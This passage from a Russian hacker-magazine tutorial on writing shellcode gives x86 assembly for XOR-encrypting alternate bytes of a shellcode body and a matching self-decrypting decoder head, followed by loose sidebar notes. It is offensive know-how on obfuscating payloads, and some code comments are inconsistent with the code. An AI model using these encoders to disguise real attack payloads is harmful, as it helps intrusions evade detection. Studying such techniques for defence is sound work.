Пишем shell-код! Коваленко Дмитрий aka Ingrem Спецвыпуск Xakep, номер #045, стр. 045-014-6 Листинг Примерный код процедуры шифровки нечетных байт ; eax - адрес тела ; ecx - его длина mov edx, eax dec edx add edx, ecx; теперь в ebx - адрес конца тела shell-кода @@2: mov bl, byte ptr[eax] ; читаем очередной нечетный байт тела в bl xor bl, XOR_KEY_EVEN ; ксорим его на XOR_KEY_EVEN mov byte ptr[eax], bl ; записываем зашифрованный байт в тело inc eax inc eax; перемещаем указатель на следующий ; нечетный байт тела cmp eax, edx ; достигнут ли конец тела shell-кода? jng @@2; нет! ret Соответственно, расшифровывать будем так: Листинг exploit_head: xor ecx, ecx mov cl, expl_end-expl_start; в ecx - длина тела mov eax, esp add eax, expl_start-exploit_head; в eax - указатель на тело mov edx, eax dec edx add edx, ecx; в edx - адрес конца тела ; процедура дешифровки полностью совпадает ; с процедурой шифрования – в этом и состоит вся ; прелесть XOR! ;-))) @@2:mov bl, byte ptr[eax] xor bl, XOR_KEY mov byte ptr[eax], bl inc eax inc eax cmp eax, edx jng @@2 ret ; здесь может быть процедура для расшифровки ; четных байт (если она нужна). ...... expl_start: ; тут находится тело shell-кода ...... expl_end dd 0 Второе правило допускает вариации. Например, можно не шифровать сначала каждый нечетный, а потом каждый четный байт, а разделить тело shell-кода на две равные половинки. Длина каждой половинки будет меньше чем 255 байт, дальше см. правило 1. Ну, вот и все. Теперь ты немного знаком с основными принципами написания shell-кода и, думаю, вооруженный этими знаниями, не наткнешься на стандартные грабли shell-кодописательства :-). Для EXE-файлов системный exeption обработчик всегда находится в kernel32.dll. Таблица имен – это массив двойных слов, каждое из которых указывает на строку с завершающим нулем, содержащую имя очередной экспортируемой API-функции. ХХХХХХХХХХХХХХХХХХХ NOP – это однобайтная команда с опкодом 0x90, которая сама по себе ничего не делает. Чаще всего голова размещается перед телом shell-кода, но это не обязательно. Инструкции ADD и XOR используют в основном из-за того, что их действие обратимо. В большинстве случаев на процедуры шифровки-дешифровки полкилобайта кода хватает за глаза ;-). |